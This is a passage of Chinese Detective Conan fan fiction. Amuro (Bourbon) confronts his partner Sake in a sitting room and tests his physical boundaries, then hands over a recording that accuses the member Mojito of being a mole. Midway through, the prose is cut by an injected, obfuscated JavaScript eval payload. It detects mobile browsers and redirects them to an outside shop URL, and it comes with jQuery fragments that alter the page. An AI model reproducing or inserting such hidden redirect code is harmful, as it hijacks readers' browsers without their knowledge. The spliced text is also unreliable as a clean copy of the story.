地上铺着一看就不好打理的长毛地毯,浅色的沙发散布在房间的各个角落。宽大的酒柜静静立着,几个大小不一的纸箱堆在墙角,已经落了一层灰。 羽泽熙真往里面走了两步,身后某个金毛的家伙也大大方方地跟了进来。 “这也是你选择的道路?”羽泽熙真扭头盯着他。 “是啊。”安室透笑道,“刚好想喝酒了,能麻烦三田先生帮我拿一瓶吗?” 这借口找得真是毫无诚意。 刚才在客厅里看了半天手机也没见他喝酒,现在就突然想喝了。 “……你自己选。” 羽泽熙真在沙发上找了个位置坐下来,懒得搭理他。 安室透走到酒柜前。 他抬起手抵着下巴,从最上层开始一层一层地往下看。 这些酒的排列既不是字母顺序也不是产地顺序,不按度数高低也不按瓶身大小。 清酒似乎有自己的逻辑,这点安室透在第一次看到酒柜时就注意到了。 最上层的位置单独摆着一瓶清酒,纯米大吟酿,深色的瓶身优雅而安静。第二层被几种朗姆酒和琴酒占据,边缘位置是一瓶味美思。 组织里似乎有位成员,代号是贝尔摩德呢。 她行事神秘,又不常在霓虹,安室透只听说过那是个颇有资历的女性,有“千面魔女”之称。 再往下就随意得多。 常见的和不常见的酒种都有,清酒,红酒,威士忌,伏特加松散地聚在一起,什么库拉索、皮斯科,还有些叫不出名字的小众利口酒——至少,这间会客室的主人还有个酒水商的身份,收藏这些并不奇怪。 嗯……没有白兰地。安室透又看了一圈,确认了这个发现。所有常见的基酒种类几乎都有,唯独缺了白兰地。 喝完了没来得及补充吗?看这些酒的状态,很多都是被开封取用过的,液面高低不一,有些甚至只剩下小半。 但他之前也来酒柜看过,同样没有发现白兰地的存在。 安室透轻轻“啊”了一声,目光停下在酒柜的底层。 “为什么你要把我放在最下面?” 他指了指靠左的角落位置,那里放着一瓶波本威士忌,是他刚住进来时送给清酒的见面礼。 它似乎从被放下起,就没再被人动过。 “那里最安全,不会不小心掉下去摔碎。”羽泽熙真低着头剥橘子,“你想待在哪里?” 安室透拉开酒柜的玻璃门,抽出波本威士忌,把它放到最上层,和那里唯一的一瓶清酒并列。 “我想待在这里。” “不可以,往下挪一层。”羽泽熙真抬眼,“那是我的位置。” “唔,好吧。” 安室透又给波本搬了一次家。这次波本待在了二层其中一瓶琴酒和味美思中间的位置,羽泽熙真没有再发表意见,大概是同意的意思。 果然,摆放是有顺序的。 按照酒名指代对应的人么……但那是安室透自己先提出的,羽泽熙真说不定只是随口应和,顺从他的玩笑。 因为如果按照酒名地位来排列的话,清酒被摆在最高处就说不通了,琴酒的位置也不该那么高。 众所周知,朗姆才是组织的二把手。 那么,是按照口味喜好排列的吗?羽泽熙真似乎比较偏好清酒和琴酒。与之相较,各类威士忌都是羽泽熙真不太想入口的品类,比如波本威士忌,就被他明确表示过不喜。 在POP酒吧时,松本老板给羽泽熙真倒的一小杯黑麦威士忌,他最后也没怎么喝。 说起黑麦威士忌…… 这个酒名在组织里也有对应的人。 景光说他是个长发绿眸的狙击手——瞬间联想到琴酒的安室透对此人第一印象跌到了谷底。 更别提,前段时间那人还在和景光搭档,在任务里屡次三番用奇怪的问题试探。 一开始还好,诸伏景光说,问题多是围绕着清酒这个人展开。比如“清酒平时喜欢做什么”“清酒和琴酒是什么关系”“清酒的代号是怎么来的”。 景光不知道他的目的,不太想回答,就模棱两可地敷衍过去。 再后来,那人莫名其妙对诸伏景光本人开始感兴趣了。 他问景光:“苏格兰,你为什么要加入组织。” 诸伏景光心里一惊,面上无所谓地说是为了赚钱,又反问莱伊他为什么加入组织。 莱伊说啊我也是,女朋友说这里赚钱我就来了。 话题本该就此终结,两个男人都是为了钱加入组织,理由足够普通也足够无聊。 但莱伊考虑了一会儿,又问诸伏景光说,我这 里还有个更赚钱的渠道,要不要一起去。 诸伏景光:? 组织里还有挖墙脚的? 听起来不怎么靠谱,而且他也不是真的为了钱。诸伏景光最后委婉地拒绝了莱伊的邀请。 安室透觉得此人非常不对劲。不过景光暂时没把这件事告诉清酒,他也不打算多说什么。 他从酒柜的第二层拎出一瓶白朗姆,走到羽泽熙真面前。 “喝这个怎么样。”他低下头看着窝在沙发里的青年,“你要来一杯吗?” 羽泽熙真塞了一瓣橘子进嘴里,抬头看他。 “我不想喝。” “调一杯莫吉托?” “我不想喝。” “好吧。”安室透笑笑,没再坚持。 羽泽熙真觉得安室透该走了。 酒拿完了,邀请也拒绝了,这里除了酒柜和几个落灰的纸箱之外没有什么值得他多看一眼的东西,他还有什么理由能待在这里呢? 但,事情没有如他所愿。 安室透拎着那瓶朗姆酒站在距离他三步的地方,思索了片刻,然后仿佛下定了某种决心般,朝他走来。 一步。两步。 当羽泽熙真意识到不对劲茫然抬头的时候,安室透已经弯下了腰,脸凑得很近了。 完全超过了正常社交距离。 布料的摩擦声,那人的呼吸时带起的微小气流,对方脸上细密的绒毛,还有那双紫灰色眼睛里,微微睁大眼睛的自己。 朗姆酒的瓶身贴着他的大腿外侧,冰凉而坚硬的触感难以忽视。 那家伙没拿酒的手撑在了他身后的沙发靠背上,柔软的布面凹陷下去,让二人的距离变得更加岌岌可危。 而羽泽熙真嘴里甚至还嚼着一瓣橘子,就这样被困在了沙发和安室透的身体之间。 ……波本。他这是。干什么呢? 他紧盯着面前的人,小心翼翼地吞下了嘴里的橘子,往后靠了靠。 “你……” “清酒。”安室透用一种很郑重的语气开口。 “……嗯?” 重心偏后。紧张和期待的情绪。不太像是要攻击的肢体语言。 感受不到恶意。 但羽泽熙真依然决定,如果安室透再靠近哪怕一厘米,他就把怀里的枪摸出来顶在他的腰上,或者脑袋上,哪里都好,只要能让他远离自己。 “我有些话想对你说。”安室透依然郑重其事,“你想听吗。” 我当然知道你有话要说,羽泽熙真想。你都把我逼到沙发角落了,我说不听你会不说吗? “……什么话不能站直了说。” “不能。”安室透弯了弯嘴角,“因为这件事很重要。” 那你倒是说啊? 沙发一共没有多少空间,羽泽熙真已经退无可退了,他甚至感觉到了那人身上传来的温度。 “嗯……你似乎有些不安呢,清酒。” 安室透发现了什么似的,轻轻笑起来。 “是因为我靠得太近了吗?” 没等羽泽熙真回答,他又歪了歪头,露出疑惑的表情:“可你之前不是告诉过我,你醒着的时候,我想怎么碰你都可以吗?” “我都还没有碰到你呢。”他轻声说。 羽泽熙真的确那么说过,在他某次意外睡着又被叫醒的时候。 安室透没有对那句话添油加醋,也没有曲解他的任何意思,因此他没有任何可以反驳的空间。 随意吧。 原本从据点回来就心神不宁的羽泽熙真闭了闭眼,难以言喻的无力感悄然漫上心间。 “……可以。” 安室透反而愣了一下。 “可以什么?” 羽泽熙真叹了口气,缓缓移开了原本已经碰到枪柄的手,目光也不再紧盯着眼前人的动作,而是落向了不远处的杂物。 “你想怎么碰我都可以。” 44.狡猾的家伙 好奇怪,清酒为什么会是这样的反应? 安室透设想过很多种羽泽熙真对于他突兀靠近的反应。 比如给他一拳,用伯|莱|塔顶着他的脑袋让他滚远点,或者灵巧地从他身下拧身溜走,懒洋洋地和他舌战。 甚至,含羞回避。 也许清酒会在他靠近时垂下眼睛,也许会有片刻不知所措的沉默,然后偏过头去说“别闹了”。 概率很低,但安室透还是在预演里给它留了个位置。 它们之中没有任何一种是现在这样的,仿佛完全放弃了抵抗、予取予求的样子。 他低头看着陷进沙发里的羽泽熙真。 黑发青年目光散漫,肩膀自然地垂着。他的右手有一搭没一搭地把玩着一颗圆滚滚的橘子,左手垂落在身侧,肌肉松弛。 一个平时连睡觉都要把枪压在枕头下面的警惕家伙,此刻在沙发上摊开肚皮,把爪子收得干干净净。 他敛眸的样子很乖巧,但没有了刻意维持的微笑,相貌中原本凌厉的一面若隐若现,又显得冷漠。 但安室透不得不承认的是,清酒长得确实好看,尤其是这种时候。 要问有多好看……大概是,如果一群人去联谊,就算他在联谊时坐着不动,某个很会逗女孩子开心的家伙也会打起十倍的精神进行孔雀开屏表演的程度。 这点安室透在见到他的照片时就发现了。 与此同时,他猛然意识到一件事: 眼前的人似乎年轻得过了头,连二十二岁——他进入警校的年龄——都没有。 他二十二岁时在干什么?在和松田打架,和萩原飙车,被伊达班长笑眯眯地拉架,和景光追查杀害亲人的凶手外守一,被教官罚去和那群家伙一起打扫浴室。 那时他觉得自己已经是大人了,可以承担一切、保护一切,有着一往无前的决心。 但他现在回头去看那个二十二岁的降谷零,只觉得那是个满腔热血、横冲直撞、还有很多事没想明白的年轻人。 而羽泽熙真比那个降谷零还要小一岁。 “……这样啊。”安室透轻声说。 那我可真的要试试了。 他将手中的朗姆酒放到地上。 长毛地毯的绒毛太厚太软,瓶底触到地面时没有一个稳定的支撑点,瓶身晃了两晃,缓缓向侧边倒去。 但安室透没管它——瓶身完全倒在米色的地毯上,被厚实的绒毛包裹住,连碰撞的声响都没有出现。 空出的手悬在羽泽熙真的肩膀上,犹豫一瞬,便落了下去。 这个应该叫趁人之危。 不算突然的触碰还是让羽泽熙真的身体微微紧绷,不过很快他便又重新放松下来,抬起那双金色的眸子,安静地望向他,不带有任何攻击性。 ……他在琴酒那里遇到了什么事吗? 说起来,这种状态倒是和有次清酒脸上带着伤回来,说是和琴酒打架去了的时候有点像。 那时他拉着清酒去吃饭,清酒明显不想出门,但最后还是没有拒绝他的要求。 他吃了一碗拉面,喝掉了他递过去的那罐冰啤酒,然后两个人一前一后沿着无人的小巷走回公寓,还在垃圾桶旁边偶遇了一只很有性格的肥橘猫。 那种感觉……安室透思索着总结,用hiro提起过的、和伏特加一起玩过的游戏里的术语倒是很贴切: 低攻低防。 同时表现出极强的服从性。 他的手指碰到了清酒脖颈上黑色的细绳。 绳子下端挂着一个水滴形的透明吊坠,清酒说它的材质是玻璃,没人会信。 它平时总是藏在衣领下面,在组织里,他人对于清酒的外貌描述总是离不开这条吊坠。 “别碰它,”羽泽熙真突然开口,又放缓声音,“……可以吗?” “当然。” 安室透从善如流地移开了即将触碰到那颗宝石的手指。 那么,还有什么地方适合尝试呢? 喉结? 羽泽熙真安静地接受了他的触碰,没什么反应。 后颈? 他把手指往上移,指腹沿着下颌滑到耳后,然后绕到后颈。 还没用力羽泽熙真就缩了一下脖子,连带着后背的肌肉都绷紧了,同时发出一声很轻的鼻息。 不许碰——他听到了这个反应的潜台词,虽然清酒一个字都没说。 安室透移开了手。 胸口? 手从后颈滑下来,沿着衣领的边缘移到心脏处,掌心平贴。 心率正常偏低,胸肌在他掌心下平稳地起伏,呼吸节奏均匀,没什么异常。 安室透在心里把这个部位打了个叉,继续向下探索。 腰侧? 皱眉了。 好。这里也不太喜欢。 不用再往下试了。安室透已经确认了一件事:羽泽熙真对于他没有任何超出室友或是搭档的感情。 ……所以那个莫名其妙的谣言是怎么来的?? 他想起在诸伏景光家里时,他们刚刚聊完萩原研二和清酒的事情,他那亲爱的幼驯染欲言又止盯着他半天才说出的话。 “zero。我觉得……你接近我用的这个理由,不太合适。” “是说我对你一见钟情?”降谷零疑惑,“哪里不合适?hiro明明是单身吧?” 这个借口是他临时编的,但是他这辈子最成功的即兴发挥之一。 “……不单身的可能是你,zero。” 降谷零:“?” 他的脸上一定露出了某种非常愚蠢的表情,因为诸伏景光下一秒就笑了出来。 他笑了好一会儿才停住,深吸一口气,忍着笑尽量平静地给降谷零讲述了他从伏特加那里听来的故事。 那时,伏特加在据点的休息室跟诸伏景光聊天,突然冒出一句: “苏格兰,你觉得波本会爱上清酒吗?” 不明所以的诸伏景光被他一句话问懵了,考虑了半天,谨慎回答:“啊……应该不会吧。” 伏特加遗憾地摇摇头:“连你都这么觉得,那看来清酒还要继续努力啊。” 诸伏景光这才知道,在伏特加的认知里,清酒在不知道什么时候总之是很久以前就对安室透一见钟情了,然后很幸运地被安排和安室透同居,有了近水楼台的机会。 这是故事的第二幕。伏特加对这个环节的描述格外详细——他说清酒迎接波本住进自己公寓的时候表现得极其冷静,但以他多年的观察经验来看那只是故作镇定。 之后他们的相处也印证了他的猜测:清酒处处护着波本,事事想着波本,对于他的每件事都格外上心,甚至为了他和琴酒正面对抗。 伏特加认为和两人走得很近的苏格兰应该知道他们的近况,于是诸伏景光一句话下去,这个故事的进度被更新了。 “清酒对波本一见钟情,幸运地与其同居,可惜进展不佳,但清酒痴情不改。” 如果再加入一个苏格兰,这个故事就会变成由一见钟情作为骨架的扭曲三角恋。 苏格兰大人虽然不介意配合幼驯染的小小表演,但他还是希望能尽快从这段并不存在的三角关系里脱身。 毕竟,伏特加似乎很期待波本和清酒修成正果,而他也不太想 面对伏特加失望的谴责眼神。 “zero。”诸伏景光努力忍笑,“我们好像不太合适,所以还是做朋友吧。” “……” “你是个好人。” “——hiro!” 真该死啊,伏特加。 你还把这个该死的谣言告诉了谁? 安室透低头看着似乎还对这一切一无所知的羽泽熙真。 他每天都在怀疑我对苏格兰心怀不轨,想方设法地防止我伤害苏格兰。 他把我送的波本威士忌放在酒柜最底层落灰,我不自己把它挪到第二层它大概能在那儿待到天荒地老。 你看他痴情吗?我现在表白他要么让我收拾东西滚蛋,要么拧着眉让我早点死了这条心。 安室透深吸一口气,站直了身体,把心里那些杂乱的念头压下去。 现在不是纠结谣言的时候。他确实有正事要做,一件他本来打算在客厅里做完、但清酒直接躲进会客室所以不得不跟进来做的正事。 那是苏格兰的建议。 清酒现在的状态虽然不太对,但也许反而更适合说这件事。 “可以把手伸出来吗,清酒?” 羽泽熙真顺从地抬起左手,在他面前摊开手掌。 一支录音笔落入他的手心。 “我要举报一个人,清酒大人——” 安室透满脸认真。 “莫吉托是内鬼。” ……居然真的有重要的事啊…… 耐着性子被从脖子摸到腰的羽泽熙真叹了口气。 不愧是波本,一开口就是这么麻烦的事。 莫吉托,组织代号成员,情报组的中层,直属上司是朗姆,雷兹事件的始作俑者。 会这么说出来,意味着波本认为仅凭他自己已经无法处理这件事了。 那么他为什么会选择把这件事告诉他,而不是负责处理内鬼的琴酒或者莫吉托的直属上司朗姆呢? “你发现莫吉托有问题,私自去调查了他。”羽泽熙真拎着手里的录音笔晃了晃,“结果被发现了。” “你还能思考啊。”安室透笑道。 “我只是懒得理你,不是傻了。”羽泽熙真说,“不过我倒是很想知道,为什么你会先把这件事告诉苏格兰?” “……诶?” “我猜错了吗?”羽泽熙真抬头看向那双有些茫然的紫灰色眼睛,“你想让我带你去和苏格兰见面,之后你和他聊了这件事,苏格兰认为我可以帮你,所以建议你把事情告诉我,你照做了。” 安室透露出一个惊讶的表情,接着忽然缓缓蹲下身去。 他往前一趴,双臂交叠着搭在羽泽熙真的膝盖上,然后把自己的下巴搁在手臂最上面。 羽泽熙真对他的仰视瞬间变成了俯视。 “你在冤枉我,清酒大人。”安室透扁了扁嘴,“我只是单纯地想见苏格兰,而且学做菜时明明是你自己要离开的,我可没打算避开你跟苏格兰说悄悄话。” 羽泽熙真被他压得浑身难受。 “你这是干什么?” “我站得好累啊。”安室透把下巴在手背上蹭了蹭,似乎在找更舒服的角度,“这里不能碰吗?” “……随便你。” 这个姿势太狡猾了。 仰视者的姿态天然带着请求的意味,而俯视者会被动地进入一个更宽容的角色。 更不用说安室透还把手臂搭在他的膝盖上,让他没办法轻易起身离开。 羽泽熙真拿起身侧被他冷落许久的橘子,一边剥着,一边听安室透以狡猾的姿势讲述了他调查莫吉托的前因后果。 45.搭档 “波本,你应该清楚,组织里是不允许私自调查其他代号成员的。” 羽泽熙真淡淡开口。 发现了疑点很好,任何一个组织成员都有义务对内部的异常保持警惕。 波本完全可以选择在最开始将疑点整理好,通过正规渠道提交给朗姆或者琴酒,但他不能在没有经过允许的情况下私自调查。 这样做往轻了说是内讧,往重了说是越权。按照琴酒的标准,足够吃一颗子弹。 羽泽熙真之前敢这么干,是因为他知道自己挨了子弹大概率还能活。而安室透敢这么干,或许是清楚只要所谓“调查”没被捅到上面去,没人会特意去管。 组织里各部门之间的嫌隙太多。情报组有情报组的暗账,行动组有行动组的私仇,研究所关起门来不知道在做什么,外围和后勤日常水深火热被当耗材。 霓虹分部尚且如此,作为一个体量颇大的跨国组织,其他地区的分部也是不遑多让的混乱。 大家都在灰色地带里各凭本事。 “但是当时在码头上被骂得那么惨,我总该小小的报复一下嘛。”安室透仰头望着羽泽熙真,“难道你不想吗,清酒大人?” 说实话不太想。 骂他们的是那个红毛,不是莫吉托,羽泽熙真当场就把仇给报了——一脚踹下海,干脆利落。 像安室透这种表面云淡风轻,背地里偷偷记仇,顺藤摸瓜把人家上司的丑事都挖出来报复的,还真不多见。 羽泽熙真觉得自己应该找个时间仔细回忆一下,自己之前得罪这位波本大人时,有没有做得太过火。 说是这么说,安室透给出的“报复红毛”这个理由虽然听起来荒唐又孩子气,但细想之下也并非完全没有说服力。 红毛是莫吉托的人,真正的源头在莫吉托身上。打狗要看主人,报复狗当然也要找主人。 但羽泽熙真并不完全相信这就是安室透的全部动机。 他嚼着橘子,垂眼看着膝盖上那个金发脑袋。 ——军火线。 安室透注意到莫吉托的节点是雷兹事件之后。在那之前,羽泽熙真和他闲聊时听他说过,他对莫吉托的认知大概只停留在“朗姆手下某个爱花钱的情报官”的层面。 朗姆将原本由莫吉托负责的军火线移交给了波本,之后追回了被吞下的部分款项。 莫吉托自然对“多管闲事”的波本颇有微词:如果波本没有发现雷兹事件背后的真相,就没有后面的那些事了。 虽然波本只是做了分内的事,但在莫吉托的逻辑里,波本就是那个砸了他饭碗的人。 安室透去找莫吉托的把柄,有一部分原因也是为了自保——他把莫吉托的财路断了,在比他资历更深的莫吉托对他发难之前,他需要给自己添上一份筹码。 如果莫吉托敢动他,他就把黑料交上去;如果莫吉托不敢动他,那更好,大家相安无事。 但安室透没想到的是,他挖到的筹码重量远远超出了他的预估。 贪污是一回事,做内鬼是另一回事。 这份筹码大到足以将莫吉托完全扳倒,让他在组织里彻底消失。但同时,它又轻得可怕——因为它的核心证据是一段录音。 或者说,在某些人听来,只是一段不知所云的录音而已。 一旦安室透拿出这段录音,他就不得不解释录音是怎么来的。 情报组平时也负责放出一些模棱两可的假消息迷惑外界。莫吉托如果反咬一口,说他只是在执行某个任务,而波本,一个刚拿到军火线就迫不及待排除异己的新人,私自调查同僚,编造证据,企图诬陷前辈。 到那时候,安室透手里的录音笔就不是武器了。 那是他的罪证。 现在提交疑点已经来不及了,组织可不是什么正规的警视厅,对于这种不算太危急的小事,调查效率十年如一日的低下。 说不定还没等他们查出来什么,莫吉托就已经把证据全销毁了,还能腾出时间顺便报复一下主要嫌疑人波本。 想要彻底抹除后患,需要更多、更有力的证据,但提高警惕的莫吉托显然不会让他那么容易得手。 羽泽熙真把嘴里的橘子咽下去。 “所以说,你是在向我求救吗。” 还有一条路:安室透可以找一个有权利让他这样做的人给他背书,增强自己的可信度,顺便免于高层的直接责难。 于是现在,他趴在他搭档的膝盖上,把录音笔放进了他搭档的掌心。 “算是吧。”安室透弯起嘴角,“救救我怎么样,清酒大人?算我欠你一个人情,波本的人情——很值钱的。” “你的人情目前为止兑现率是多少。”羽泽熙真问。 “目前为止嘛……是零。因为之前没人有机会让我欠人情。”安室透理直气壮地说,“你是第一个,所以你可以随便开价。” 第一个。 听起来可真让人心动。 羽泽熙真撕下一片饱满的橘瓣,拎着它悬在安室透面前。 左移,右移。 安室透趴在他的膝盖上,歪了歪头,视线也随之专注地左移,右移。 忽然,安室透的胳膊微微用力,撑在羽泽熙真的膝盖上,上半身借力抬起,高度刚好足够—— 他从羽泽熙真手里一口叼走了那瓣橘子。 随后他重新趴回手臂上,把橘子含进嘴里嚼着,满足地眯起眼睛。 羽泽熙真若无其事地收回手,用拇指蹭了蹭被留下奇怪触感的食指。 “我在橘子里下毒了。”他说。 “诶?”安室透咀嚼的动作一顿,“我没有看到啊。” “要是能被你看到,还叫下毒吗?” 羽泽熙真塞了一瓣橘子进自己嘴里。 真好,还是很甜。这一批橘子品质都不错呢。 “也是。”安室透认真地想了想,“下的是什么毒?” “让你再也没办法跑出去惹事的神经毒素。发作之后你会四肢瘫软,精神萎靡,每天只能躺在沙发上吃橘子看电视,衣来伸手饭来张口。” “听起来不错。那是你的理想生活吗?” “当然不是。”羽泽熙真无奈,先不说那类药物对他会不会起效,“失去价值的我第二天就要被前辈送去东京湾游泳了。” “清酒大人。下药的意思是不打算救我吗?” “你觉得呢。” “真令人难过。” 安室透叹了口气,脑袋卸了力似得,重重落在羽泽熙真腿上。 ……这个看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718434|205914||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 暂时老实的麻烦精,现在脑子里在想什么呢? 在想怎么说服他帮忙,在想如果他不帮忙该怎么应对,在想莫吉托下一步会做什么,在想苏格兰今天晚上吃什么。 啊,今天晚上的食谱轮到了什么来着。羽泽熙真的思路也不由自主地被带跑了。 是否要帮波本的忙,这个问题比今天晚上吃什么要严肃得多。 它需要考虑很多因素,比如羽泽熙真前段时间才因为类似的原因吃过亏,比如怎么帮,要帮到什么程度,之后可能造成的影响等等等等。 但对于羽泽熙真来说,给出答案的难度其实远远小于晚饭的食谱。 他很早之前就想找出这个内鬼了。 这个家伙半真半假的卖行动组的情报,但尺度把控得很精准,就像一根卡在喉咙里不上不下的鱼刺,让原本顺利的行动遇到不该遇的阻力,却又没有造成严重到导致可以追究的结果。 情报组懒得管,行动组不好管,追查费时费力,对于情报组不熟悉的羽泽熙真也迟迟没有进展。 波本这也算是歪打正着了。 而且—— “你是我的搭档啊,安室君。” 羽泽熙真双手撑在身侧,坐直身子。 “朗姆大人让你住进这里,让我带你适应一线行动——你也叫过我‘前辈’,不是吗?” “……”安室透惊讶地抬头。 “所以不管是作为前辈还是作为搭档,我都不会对你的处境坐视不管。这也是我的责任。” “……清酒。” “如果你早些告诉我你担心莫吉托的事,我现在已经带着你找到他办公室门口去了。”羽泽熙真继续说,“难道你觉得我会放任他报复你吗?” 他伸出手,轻轻碰了一下安室透额前的金发,那一小缕头发晃了晃。 “我还不至于连自己的搭档都护不住。” 安室透睁着眼睛盯着他看,半天没说出一个字。 会客室里只有两人呼吸的声音。 羽泽熙真有些疑惑。 他刚刚说错了什么吗? 怎么安室透的表情这么奇怪。 他从来没见过他露出这样的表情,太复杂了,很难去分析。 “你不喜欢行动组的处理方式,我知道的。”羽泽熙真补充道,“没关系,按照你的路线继续就好。” 安室透还是没有说话。 “……波本?” “啊。” 安室透终于应了一声。他动了动嘴角,露出一个微笑。 “好。”他说。 羽泽熙真等了几秒,确认他没有更多的话要说了,于是轻轻推了推膝盖上安室透的手臂——他要站起来了。 安室透安静地收了手,站起身,往后退了两步,给他让出空间。 羽泽熙真把还躺在地上的朗姆酒拾起来,塞进安室透手里,随后转身往外走。 这边温度还是太低了,待久了不舒服。 走出几步,他听到安室透在身后叫他。 “清酒。” 他回过头。 “我今天和苏格兰学了炒鸡蛋的做法。”安室透说,“明天的早餐我来做,怎么样?” “好啊。”羽泽熙真说,“那我就期待一下了。”